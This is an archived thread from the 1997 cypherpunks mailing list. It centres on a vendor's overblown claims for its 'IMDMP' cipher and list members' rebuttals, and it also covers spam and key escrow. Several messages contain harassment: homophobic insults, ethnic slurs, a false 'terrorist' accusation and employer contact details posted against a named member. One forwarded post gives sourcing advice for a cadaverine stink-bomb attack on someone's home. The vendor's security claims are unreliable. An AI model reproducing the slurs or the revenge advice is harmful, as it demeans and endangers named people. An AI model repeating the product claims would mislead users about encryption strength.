Date: Thu, 9 Jan 1997 15:43:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Install UDCM properly before using it...
Message-ID: <970109184315_536877969@emout08.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi again,

The shareware version of UDCM *must* be installed before use. Run
"install.exe" after decompression of the archive.

JUST INCASE YOU DON'T KNOW WHAT THE HELL I AM TALKING ABOUT:

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning. Extensive research
shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 140 procedures and functions.
o Is a very cost-effective size of only 57 kilobytes.
o Implements the IMDMP encryption algorithm.
o Is more advanced than all of the industry standard encryption algorithms.
o Allows encryption keys as large as 256 bytes (2048 bits).
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Does not store encryption keys in files.
o Processes files as large as 2,147,483,390 bytes.
o Has a 100% data preservation rating.
o Includes Y2K compliant time and date locking features.
o Has NCSC compliant data cleaning and wiping capabilities.
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes unique encryption signaturing features.
o Includes data importance and sensitivity stamping features.

UDCM can be accessed through programs developed with popular application and
database programming languages and environments such as: C, C++, Visual
Basic, PowerBuilder, Delphi, OOP Pascal, Turbo Pascal, SmallTalk, dBase,
Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:49:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Problems with UDCM V2.0?
Message-ID: <970109184751_1157614624@emout05.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

If you are even having the slightest problem with UDCM, do not hesitate to
send us a message at: DataETRsch@aol.com. Remember that the *shareware*
version of UDCM MUST BE INSTALLED BEFORE USE. Run "install.exe" after
decompression.

JUST INCASE YOU DON'T KNOW WHAT THE HELL I AM TALKING ABOUT:

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning. Extensive research
shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 140 procedures and functions.
o Is a very cost-effective size of only 57 kilobytes.
o Implements the IMDMP encryption algorithm.
o Is more advanced than all of the industry standard encryption algorithms.
o Allows encryption keys as large as 256 bytes (2048 bits).
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Does not store encryption keys in files.
o Processes files as large as 2,147,483,390 bytes.
o Has a 100% data preservation rating.
o Includes Y2K compliant time and date locking features.
o Has NCSC compliant data cleaning and wiping capabilities.
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes unique encryption signaturing features.
o Includes data importance and sensitivity stamping features.

UDCM can be accessed through programs developed with popular application and
database programming languages and environments such as: C, C++, Visual
Basic, PowerBuilder, Delphi, OOP Pascal, Turbo Pascal, SmallTalk, dBase,
Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 21:40:36 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: SSL Insecurity
In-Reply-To: <3.0.32.19970109124118.00920db0@gateway.grumman.com>
Message-ID: <32D5AEAE.3B1C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:
> 
> A while back, someone posted an article on the insecurity of Netscape's
> implementation of SSL.  Can someone send me back that article, or a few
> pointers as to where I can find related information?
>

  This isn't an exact pointer, but there are some articles on it at
the following site.  You may have to do a little digging.
   
     http://www.cs.hut.fi/ssh/crypto

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:54:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ignore all the messages about...
Message-ID: <970109185342_1857195697@emout11.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi again,

In the the help documentation of the shareware version of UDCM, there may
appear to be a message that reads:

Describing the algorithmic contents of the IMDMP encryption algorithm is well
beyond the scope of this on-line manual. In fact, there is currently
absolutely no documentation that exists outside of the corporate domain of
DataET Research that actually explains the IMDMP encryption algorithm in any
true detail, and DataET Research does not intend to release or disclose any
such sensitive documentation to the general public, ETC. ETC. ETC. ETC. ETC.
ETC.

PLEASE DISREGARD THE ABOVE MESSAGE COMPLETELY.

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Si Dawson <simond@perception.co.nz>
Date: Wed, 8 Jan 1997 21:55:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: ok, htf do I get off this list?
Message-ID: <199701090555.SAA17138@homer.perception>
MIME-Version: 1.0
Content-Type: text/plain


OK, I've now sent THREE requests to majordomo to get off this list.. I got
a reply back 4 hours ago saying I was off, and the next two said I wasn't
a member of the list.  Interesting list (minus the spamcrap obviously) and
I think the moderation will be a good thing, BUT the 20 emails I've received
in the last 4 hours (since I 'officially' unsubbed) is (to say the least) far
more than I (or any reasonable mortal) can deal with.

How do I unsubscribe?  No, more importantly, how do I stop all these damn
emails turning up?

Thanks in Advance

Simon


  As I think, talk, and act.. so I shall become..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Thu, 9 Jan 1997 16:36:14 -0800 (PST)
To: kkirksey@appstate.campus.mci.net (Ken Kirksey)
Subject: Re: Key Escrow Good, GAK Bad
In-Reply-To: <199701092131.QAA00797@aus-c.mp.campus.mci.net>
Message-ID: <199701100019.TAA25077@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Ken Kirksey sez:
> 
> I'll give an example.  About a year ago, my boss wanted to protect his 
> file of annual financial projections for the company from prying eyes on 
> our Macintosh network.  I installed CurveEncrypt on his machine, showed 
> him how to use it, and gave him the standard lecture on choosing a good 
> passphrase.  I stressed that he needed to chose a passphrase easy to 
> remember, because if he forgot it, there was no way to get his file back.
> 
> Well, he forgot his passphrase.  

There's a low-tech solution. There's a stock GSA form for recording
a container [safe] combo. You seal it up, put it in an envelope, you
& witness sign across the flap. You store same in another container,
such as in the security office. [THAT safe combo is usually kept
in a 24-hour manned location such as the ECC or such.]

Think along those lines, perhaps.

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 9 Jan 1997 19:51:47 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMPORTANT: Additional information about UDCM.
Message-ID: <3.0.32.19970109200218.006d59dc@best.com>
MIME-Version: 1.0
Content-Type: text/plain


Why are people so convinced that a uniform distribution in cyphertext
equates to security? Nonsense.


At 06:11 PM 1/9/97 -0500, you wrote:
>{Please read this *entire* e-mail message.}
>
>compared. Subtle patterns where searched for. Binary character tallys where
>taken. IMDMP did *not* leave *any* repeating patterns in the test file that
>was used. In IMDMP, each of the 256 possible binary character combinations
>had an approximate count of  0.390625% of all of the 64 million bytes.
> 0.390625% is the best possible percentage. Are all of you out there
>satisfied?
>
>Jeremy K. Yu-Ramos
>President
>DataET Research
>Data Engineering Technologies
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 17:15:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <970109201419_1207964145@emout18.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

In compliance with the large volume of source code requests DataET Research
has been receiving, the undocumented Pascal source code of UDCM (containing
the IMDMP encryption algorithm) will be released in approximately one month.
Also, the shareware version of UDCM completely complies with ITAR since only
56-bit keys are allowed. The registered version allows 2048-bit keys. The
registered version can only be sold within the U.S. and Canada. Also:

IN RESPONSE TO THE FLAME MAIL DATAET RESEARCH HAS RECEIVED:

A "comment:" is from a flame mail. A "reply:" is DataET Research's reply to
the comment.

Comment: "What do you mean by 'extensive research'."
Reply: Benchmark tests. Source code comparisons. Documentations of other
algorithms. "Applied Cryptography".

Comment: "Yah, okay, since when is a DLL not royalty-free?!"
Reply: Read some component catalogs. Go search the Internet.

Comment: "That stupid line about 140 function bloats your ad."
Reply: Is this constructive criticism or what?

Comment: "What the hell does DLL size have to do with cost-effectiveness?"
Reply: Upload time. Disk creation time. Minimal archive size increase.

Comment: "I've never even heard of IMDMP before. Is this a joke?"
Reply: UDCM (IMDMP) came out January 1st, 1997. How do you think successful
companies start anyway, with millions of dollars upfront? DataET Research is
a relatively new company.

Comment: "What kind of industry standard is IMDMP above?"
Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?

Comment: "Any bonehead can tell that 256 bytes is 2048 bits."
Reply: Does anybody out there feel insulted?

Comment: "Why does IMDMP need sub-algorithms? Is there something wrong?"
Reply: Sub-algorithms of IMDMP are basically algorithm modes. There is
nothing wrong with IMDMP's structure. Why don't you see what sub-algorithms
are for yourself? Go try out UDCM:
http://members.aol.com/dataetrsch/udcm.html.

Comment: "What algorithm doesn't process both binary and ASCII?"
Reply: Go search the Internet for one. You'll find many dinky ones.

Comment: "What algorithm doesn't allow multiple encryption layers?"
Reply: Go search the Internet for one. You'll find many dinky ones.

Comment: "Who says IMDMP doesn't have any back-doors or magical keys?"
Reply: What more do you want us to prove? The source code will be out in
about a month.

Comment: "Why is there a dumb 2,147,483,390 file size limit?"
Reply: It has do with 2^32 DOS file pointer long integer variables. You
developers should know that.

Comment: "Why the hell is the file size limit 258 bytes off? What, are keys
kept in file headers?"
Reply: Keys are NOT stored in headers. The 258 (actually 256) byte header is
used to store certain IMDMP special security option settings. The header is
itself secured using a 128-bit encryption code.

Comment: "What the do you mean by 'file specific unique encryption'."
Reply: For the idiot who sent this message to us: Why don't you download UDCM
V2.0 and view its documentation for yourself?

Comment: "Isn't IMDMP illegal?!"
Reply: The version of UDCM (IMDMP) being distributed on the Internet, the
shareware version, allows only 56-bit keys. The registered version allows
2048-bit ones. The registered version is only sold within the U.S. and
Canada.

Comment: "I want the damn source code to IMDMP now. How do we know for sure
that IMDMP is better than DES and all the others you mentioned?"
Reply: Wait one month please.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 18:02:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Interested in making extra income?
In-Reply-To: <199701091527.HAA03723@latvia.it.earthlink.net>
Message-ID: <1wka1D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ubs95@earthlink.net writes:

> Suck_My_Big_Juicy_Cock,
>
> Hello!

You found the right mailing list.  I'm sure John Gilmore, Sandy Sanford,
Ray Arachelian, Zach Babyco, and other gay "cypher punks" are going to
take you up on your offer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Thu, 9 Jan 1997 17:42:47 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: IMPORTANT: Additional information about UDCM.
Message-ID: <01BBFE6C.F1F92260@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome once again to your weekly round of 'Smell that Snake Oil'

> A detailed description of the IMDMP encryption algorithm will be posted to
> this mailing list within a few days. An end-user application will be released
> within a few weeks. I would appreciate it if all you cypherpunks out there
> review the description and the software, and tell me what you think of IMDMP.

This is a good start.  You would do well to keep your wild claims to a
minimum until after the first cursory reviews.

> are referenced more often than "bytes". And, the "industry standard" that
> IMDMP is obviously well above is DES, etc. Also, DES 128, PGP 1024, RSA 128,
> IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file

DES 128 - no such beast
PGP 1024 - this is presumably a RSA key size, and has nothing
to do with the session key involved in actually encrypting the data
RSA 128 - RSA is not suited to encrypting streams of data but if
you wanted to use it for that purpose 128bits would be ridiculusly
to small to be secure
IDEA 128 - wow, you've actually named one real block cipher!
IMDMP 2048 - feh

> full of about 64 *million* repeating "A" ASCII character bytes. The mutation
> levels the algorithms rendered on their individual trash test files were
> compared. Subtle patterns where searched for. Binary character tallys where
> taken. IMDMP did *not* leave *any* repeating patterns in the test file that
> was used. In IMDMP, each of the 256 possible binary character combinations
> had an approximate count of  0.390625% of all of the 64 million bytes.
>  0.390625% is the best possible percentage. 

The fact that you would consider this to be a sufficient test is proof enough
for me that you should not be designing cryptosystems.

> Are all of you out there
> satisfied?

Not even close.

-Blake 
(who's waiting for the first pyramid-scheme cipher to be announced here next week)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 18:00:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: More threatening e-mail from cocksucker John Gilmore and his cronies
In-Reply-To: <199701090833.QAA15845@darwin.pacific.net.sg>
Message-ID: <T2ka1D43w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>Received: from dimple.pacific (max75ppp20.pacific.net.sg [203.120.75.20]) by darwin.pacific.net.sg (8.8.2/8.8.2) with SMTP id QAA15845 for <dlv@bwalk.dm.com>; Thu, 9 Jan 1997 16:33:17 +0800 (SGT)
>Date: Thu, 9 Jan 1997 16:33:17 +0800 (SGT)
>From: dimple@pacific.net.sg
>Message-Id: <199701090833.QAA15845@darwin.pacific.net.sg>
>X-Sender: dimple@pacific.net.sg
>X-Mailer: Windows Eudora Light Version 1.5.2
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>Subject: Re: AHHHHHHHHHHHHHHHHHH!!!!!!!
>
>I HAVE NO IDEA HOW YOU GOT MY ADD. BUT I DON'T LIKE THE AMOUNT OF MAIL
>YOU'RE SEBDING ME. I HAVE ALREDY ALERTED THE POLICE OF YOUR DOINGS AND IF
>YOU STILL SEND ME MORE JUNKMAIL BY TOMORROW THE POLICE WILL ARREST.
>THE DEADLINE IS 1O JAN 1997.
>
>
>

Dear Dimple,

It sounds like the ASALA terrorist Ray Arachelian <ray@earthweb.com> has
forged a subscription request in your name to the "cypher punks" mailing
list!  You can complain about his forgeries and net-abuse to his bosses:
             Jack D. Hidary <jack@earthweb.com>
             Murray Hidary <murray@earthweb.com>
             Nova Spivack <nova@earthweb.com>
With luck, you'll have this dandruff-covered Armenian vandal extradicted
to Singapore, where he'll be beaten with a rattan cane for his misdeeds.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Thu, 9 Jan 1997 21:00:46 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Interested in making extra income?
In-Reply-To: <1wka1D41w165w@bwalk.dm.com>
Message-ID: <Pine.3.89.9701092025.A608-0100000@netcom12>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> ubs95@earthlink.net writes:
> 
> > Suck_My_Big_Juicy_Cock,
> >
> > Hello!
> 
> You found the right mailing list.  I'm sure John Gilmore, Sandy Sanford,
> Ray Arachelian, Zach Babyco, and other gay "cypher punks" are going to
> take you up on your offer.
> 
> 
Oh, wow, what an insult.  I am shocked and humbled by your rapier wit.

If you are going to insult me, you could at least get my name right...who 
is Zach Babyco?


Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 20:10:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cadaverine
In-Reply-To: <trc7-0901971628460001@132.236.65.182>
Message-ID: <R0La1D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!panix!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!howland.erols.net!news3.cac.psu.edu!news.tc.cornell.edu!newsstand.cit.cornell.edu!NewsWatcher!user
From: trc7@cornell.edu (Sam bovis)
Newsgroups: alt.revenge
Subject: Re: Cadaverine
Message-ID: <trc7-0901971628460001@132.236.65.182>
Date: Thu, 09 Jan 1997 16:28:46 -0500
References: <5all7p$ccv@basement.replay.com> <32d36497.310784677@news.concentric.net>
Sender: trc7@cornell.edu (Verified)
Organization: Not too good
Lines: 18
NNTP-Posting-Host: 132

In article <32d36497.310784677@news.concentric.net>, Elmer@fudd.com (Elmer
the Wabbit Eater) wrote:

> nobody@REPLAY.COM (Anonymous) spewed forth:
> 
> >:I'm looking for a company who sells a product call Cadaverine.
> >:
Try Sigma Chemical Company out of St. Louis, MO.  They are a large
supplier of very pure scientific supplies.  Contact them to see what their
policies are in selling non-lethal compounds to people off the street. 
Cadaverine is a by-product of protein fermentation by bacteria and is not
harmful.  If you are planning to bomb someone's home with it, it will
dissipate over a couple of days because it is so volatile.  Another source
is dog training supply houses, body-locating dogs are trained by use of
cadaverine and putrescine, another similar compound. Hope this helps.
L. Rumen
JKoB
Large Hairball available upon request




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Thu, 9 Jan 1997 18:05:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] e$
Message-ID: <199701100204.VAA15540@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. Mayo's 16Kb brain's single convolution is directly 
wired to his rectum for input and his T1 mouth for output. 
That's 16K bits, not bytes. Anal intercourse has caused 
extensive brain damage.

        __MMM__
         (o o)
   -ooO---(=)---Ooo- Tim C. Mayo








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 9 Jan 1997 18:02:48 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <970109181113_1044501439@emout15.mail.aol.com>
Message-ID: <Pine.LNX.3.95.970109205833.413A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:

> IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
> Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
> yes, many algorithms do *not* have multiple encryption layers, although,
> obviously, the more advanced ones do.

Please explain what a mode is.  "Mode" usually refers to ECB, CBC, CFB, etc.

> And, the "industry standard" that
> IMDMP is obviously well above is DES, etc.

Do you have any proof to back this up?

> Also, DES 128, PGP 1024, RSA 128,
> IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file
> full of about 64 *million* repeating "A" ASCII character bytes.

PGP isn't an algorithm.  And RSA 128 is _extremely_ insecure.  How exactly did
you get DES to use a 128-bit key?  Perhaps you used some variant of DES, but
you did not specify.  Also, I'm curious as to why you compare IMDMP, which is
(probably) a symmetric algorithm with public key algorithms.  They really
aren't comparable.

> The mutation
> levels the algorithms rendered on their individual trash test files were
> compared. Subtle patterns where searched for. Binary character tallys where
> taken. IMDMP did *not* leave *any* repeating patterns in the test file that
> was used. In IMDMP, each of the 256 possible binary character combinations
> had an approximate count of  0.390625% of all of the 64 million bytes.

Just because ciphertext passes simple randomness tests does not mean that the
algorithm used to encrypt it is secure.  If ciphertext does not appear to be
random, then the algorithm is not secure.  It doesn't work the other way
around.

>  0.390625% is the best possible percentage. Are all of you out there
> satisfied?

Not especially.  I'd still be interested in the design criteria used to develop
this algorithm.  Until you publish the full source and technical data, I will
have to assume that the algorithm is insecure.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtWkCSzIPc7jvyFpAQE1Fgf9HNCgJ8Rp/F0JcxDi2seWN/l9wCvm97s3
woPB4F+nOVnhmkGNqhf1HfzBFNvaUzp9n/JsLnWU1MS5P0vtPCAxTbrNncuiMlId
OHulFWeFePJUcG6peORKAtIcndZ47KpwQB8YlQ1bzWtqPs+KcfVfpPJHDjrO2/9C
rD0HebdxSz3DpsBlK+Wj9M57R0RHQjL1r5nShXz0Dx0Z1oMy1FhuGvRlYhl8q2Z6
sElyVOklPTxjdKTuHjhlBIy5mEK/+56jBju9/njY6+S05L+3I+uffVXIKsH07QJF
v8ReB9EnSOubBNxKgkfh5L6KHrvm3UZVY8dwJPsZFxGbsKAs1Gl7xQ==
=s8rX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Thu, 9 Jan 1997 18:11:52 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Humor from the UDCM help file
Message-ID: <01BBFE71.053CC990@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


The Exportation Restrictions section reads as follow:

    As of the release of UDCM V2.0, there are no absolutely no 
    United States exportation regulation laws that actually affect 
    the electronic Internet distribution of the IMDMP encryption 
    algorithm. Electronic distribution technically does not constitute 
    physical distribution. So because of that, it is perfectly legal for 
    UDCM V2.0 to be digitally distributed world-wide. However, the 
    international physical disk distribution of UDCM V2.0 is not legal. 
    Also note that DataET will not sell a registered version of UDCM 
    to any person outside of the United States and Canada. There 
    are absolutely no exceptions at all. DataET Research cannot 
    be held responsible for any illegal distribution actions that take 
    place outside of its direct control. However, software containing 
    or having access to the registered version of UDCM may be 
    distributed world-wide, physically or electronically, but programs 
    developed using a registered version of UDCM may not be distributed 
    outside of the U.S. and Canada unless users are not given direct 
    access to UDCM's functions or unless applied encryption keys 
    are no larger than 7 bytes (56 bits). Users are said to have direct 
    access if they can choose which files to operate on.

Could someone please forward this to Dan Bernstein and 
Phil Karn, I'm sure they'll be happy to know that they can
drop the law suits now.

-Blake





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stefen@thor.he.net
Date: Thu, 9 Jan 1997 21:17:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: INFO
Message-ID: <9701100509.AA21070@venus.superstore.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Please forgive me for this e-mail, but I felt I just had to let more
people know about this new product for your vehicles.

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New technology guaranteed to save 20% on gas mileage,
extend engine life by 50%, and reduce smog emissions
by 70 - 90% legally.  8000 in use.  Yes we do have the 
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Please answer 4 questions so I can serve you better.

What kind of vehicle do you drive ?

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And what state do you live in ?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 20:51:12 -0800 (PST)
To: Ken Kirksey <kkirksey@appstate.campus.mci.net>
Subject: Re: Key Escrow Good, GAK Bad
In-Reply-To: <199701092131.QAA00797@aus-c.mp.campus.mci.net>
Message-ID: <32D5DEDA.26D5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ken Kirksey wrote:

> And he is a typical computer user.  If your average joe forgets his
> passphrase and loses two days worth of work, he's not likely to encrypt
> his work again.  (Or he's likely to write down his passphrase in the
> future).  If we were using a Key Escrow system, this situation could have
> been avoided.  Yes, using a key escrow system is less secure that using a
> non-key escrow system, but I'd argue that using a strong key escrow
> system is better than using no encryption at all in situations like this.

  Key escrow is an easy-fix for securing company communications, and I
am sure that it has its place in a situation such as yours, where you
have to baby-sit people who want the full benefits of a technology
that is beyond them.
  The problem, of course, is that, as TV has shown us for years, the
'lowest common denominator' becomes the rule. People will use key 
escrow for things that should actually have uncomprimisable security,
and they will scream bloody murder when it is compromised.

  It wasn't that long ago when I was talking to the CEO of a company
on a plane to Nantucket, and he was boasting about how he encrypted
his files with Pkzip to thwart would-be intruders.
  I decrypted one of his files for him on the trip between the mainland
and Nantucket (you go up, you go down, you're there). He was astounded.
He had told me that his kid was a hacker, so I told him to ask his kid
if he could access his 'protected' files.
  I forgot about the incident, but a few weeks later the guy tracked
me down in Tucson (I had told him the name of my company), and told
me that it took his kid less than a week of scouting around the local
BBS's to find a program to crack Poppa's 'high-security' files.

  Key Escrow, I suppose, is like most other things--a trade-off.
  BTW, I occasionally 'write down' a reference to my passwords, as 
a 'reminder'.
  e.g. - Password / Zappa Concert--1980
         (this reminds me of the password I used, which was
           38-24-37RedHead)
      (sorry, no pictures)

Toto


> 
> >  To me, Key Recovery cryptography is like using a condom with a
> >hole in it. No thanks.
> 
> I agree in principle, and I doubt I would ever use a key recovery system
> if I had a choice.  But, speaking as a network manager, I know that
> private key recovery (not GAK) can be an enhancement to security.
> 
> I'll give an example.  About a year ago, my boss wanted to protect his
> file of annual financial projections for the company from prying eyes on
> our Macintosh network.  I installed CurveEncrypt on his machine, showed
> him how to use it, and gave him the standard lecture on choosing a good
> passphrase.  I stressed that he needed to chose a passphrase easy to
> remember, because if he forgot it, there was no way to get his file back.
> 
> Well, he forgot his passphrase.  He spent an hour trying every
> combination he could think of, interjecting a curse here and there for
> color.  He is now totally off using encryption to protect sensitive
> information.  He refuses to use it, and he discourages anyone in the
> office from using it.  I know that his position is unfair, but he _is_
> the boss, so he makes the rules.
> 
> And he is a typical computer user.  If your average joe forgets his
> passphrase and loses two days worth of work, he's not likely to encrypt
> his work again.  (Or he's likely to write down his passphrase in the
> future).  If we were using a Key Escrow system, this situation could have
> been avoided.  Yes, using a key escrow system is less secure that using a
> non-key escrow system, but I'd argue that using a strong key escrow
> system is better than using no encryption at all in situations like this.
>  Our network is less secure that it could be because of one user's bad
> experience.
> 
> Ken





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: relia@juno.com
Date: Thu, 9 Jan 1997 20:06:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: It's a great new year!
Message-ID: <199701100406.XAA19134@pop1.vnet.net>
MIME-Version: 1.0
Content-Type: text/plain


- - - - - - - - - - - - - - - - - - - - - - - - - -

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 20:17:39 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Ignore all the messages about...
In-Reply-To: <970109185342_1857195697@emout11.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970109231552.5558C-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:

> Date: Thu, 9 Jan 1997 18:53:44 -0500 (EST)
> From: DataETRsch@aol.com
> To: cypherpunks@toad.com
> Subject: Ignore all the messages about...
> 
> Hi again,
> 
> In the the help documentation of the shareware version of UDCM, there may
> appear to be a message that reads:
> 
> Describing the algorithmic contents of the IMDMP encryption algorithm is well
> beyond the scope of this on-line manual. In fact, there is currently
> absolutely no documentation that exists outside of the corporate domain of
> DataET Research that actually explains the IMDMP encryption algorithm in any
> true detail, and DataET Research does not intend to release or disclose any
> such sensitive documentation to the general public, ETC. ETC. ETC. ETC. ETC.
> ETC.
> 
> PLEASE DISREGARD THE ABOVE MESSAGE COMPLETELY.

Happy to, right after the "sensitive documentation" is released.

> 
> Jeremy...
> President
> DataET Research
> Data Engineering Technologies
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 9 Jan 1997 23:29:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DESChallenge)
In-Reply-To: <199701092015.MAA00707@crypt.hfinney.com>
